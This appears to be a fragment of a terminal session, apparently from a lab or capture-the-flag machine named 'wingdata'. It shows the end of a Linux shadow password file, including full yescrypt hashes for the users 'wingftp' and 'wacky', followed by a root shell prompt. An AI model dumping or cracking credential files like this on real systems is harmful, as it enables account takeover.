messagebus:!:20394::::::
sshd:!:20394::::::
wingftp:$y$j9T$s62DxCZf.Aqw9qUCF7Fk10$BcBVlkDD7Rm3kpB.jyIWh9o0GvF.cmke6npe25ZnVv1:20394:0:99999:7:::
wacky:$y$j9T$kF5P9XjuPO85qZb/h5hff1$oiwH5i/tHgA4u2FBN/OJJtUO.UMzhfQckEycEPAdQM0:20395:0:99999:7:::
_laurel:!:20475::::::
root@wingdata:~#
|